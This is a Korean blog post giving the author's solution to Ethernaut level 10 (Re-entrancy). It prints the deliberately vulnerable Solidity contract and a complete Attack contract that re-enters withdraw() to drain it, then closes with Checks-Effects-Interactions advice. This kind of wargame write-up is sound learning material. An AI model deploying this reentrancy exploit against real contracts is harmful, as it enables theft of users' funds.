티스토리 뷰

Solidity/Hacking

[Ethernaut] 10. Re-entrancy

piatoss 2024. 1. 22. 12:00

1. 문제

 아래 컨트랙트의 모든 자금을 탈취하라.
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;

import 'openzeppelin-contracts-06/math/SafeMath.sol';

contract Reentrance {
  
  using SafeMath for uint256;
  mapping(address => uint) public balances;

  function donate(address _to) public payable {
    balances[_to] = balances[_to].add(msg.value);
  }

  function balanceOf(address _who) public view returns (uint balance) {
    return balances[_who];
  }

  function withdraw(uint _amount) public {
    if(balances[msg.sender] >= _amount) {
      (bool result,) = msg.sender.call{value:_amount}("");
      if(result) {
        _amount;
      }
      balances[msg.sender] -= _amount;
    }
  }

  receive() external payable {}
}

2. 해법

 Remix IDE를 사용해 다음의 컨트랙트를 작성합니다. 이 때 Reentrance 컨트랙트가 불러오는 라이브러리의 경로가 잘못되었기 때문에 코드를 그대로 사용할 수 없어서 인터페이스로 대체했습니다.

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;

interface IRentrance {
    function donate(address _to) external payable;
    
    function balanceOf(address _who) external view returns (uint balance);
    
    function withdraw(uint _amount) external;

    receive() external payable;
}

contract Attack {
    address payable public reentrance;

    constructor(address _reentrance) public {
        reentrance = payable(_reentrance);
    }

    function attack() payable public {
        require(msg.value == 0.001 ether);

        IRentrance instance = IRentrance(reentrance);

       instance.donate{value: msg.value}(address(this));
       instance.withdraw(msg.value);
    }

    receive() external payable {
        IRentrance instance = IRentrance(reentrance);

        instance.withdraw(0.001 ether);
    }
}

 인스턴스에는 0.001 이더가 들어있습니다. Attack 컨트랙트에서는 이 0.001을 하드코딩하여 사용하였습니다.

 

 0.001 이더와 함께 attack 함수를 실행합니다.

 

 트랜잭션이 컨펌되고 Attack 컨트랙트의 잔액을 확인하면 0.002 이더가 된 것을 확인할 수 있습니다.

 

 그리고 Reentrance 컨트랙트의 잔액을 확인하면 0이 된 것을 확인할 수 있습니다.

 

 인스턴스를 제출합니다.


3. 재진입 공격

 재진입 공격과 관련해서는 제가 이전에 작성한 게시글의 내용과 완전히 동일한 로직으로 동작하기 때문에 이를 참고해주시면 좋을 것 같습니다.

 

[Solidity] 재진입 공격 (Reentrancy Attack)

🚨 재진입 공격 (Reentrancy Attack)이란? BadBank 컨트랙트는 10 이더를 가지고 있고 Bob은 1 이더를 가지고 있습니다. BadBank가 가진 10 이더는 다른 사용자 또는 스마트 컨트랙트가 입금해 놓은 금액입니

piatoss3612.tistory.com

 

 

[Solidity] 재진입 공격 예방 기법

🦅 이전글 2023.10.03 - [Solidity] - [Solidity] 재진입 공격 (Reentrancy Attack) 🚫 재진입 공격 예방 기법 1. Checks Effects Interactions 패턴 Checks Effects Interactions 패턴은 컨트랙트 내부에서 외부 주소를 호출할

piatoss3612.tistory.com


4. 결론

먼저 검사하고(Checks) 상태를 변경한 다음(Effects) 외부 함수를 호출하자(Interactions).

 

'Solidity > Hacking' 카테고리의 다른 글

[Ethernaut] 12. Privacy  (1) 2024.01.24
[Ethernaut] 11. Elevator  (1) 2024.01.23
[Ethernaut] 9. King  (0) 2024.01.20
[Ethernaut] 8. Vault  (0) 2024.01.18
[Ethernaut] 7. Force  (0) 2024.01.17
최근에 올라온 글
최근에 달린 댓글
«   2024/11   »
1 2
3 4 5 6 7 8 9
10 11 12 13 14 15 16
17 18 19 20 21 22 23
24 25 26 27 28 29 30
Total
Today
Yesterday
글 보관함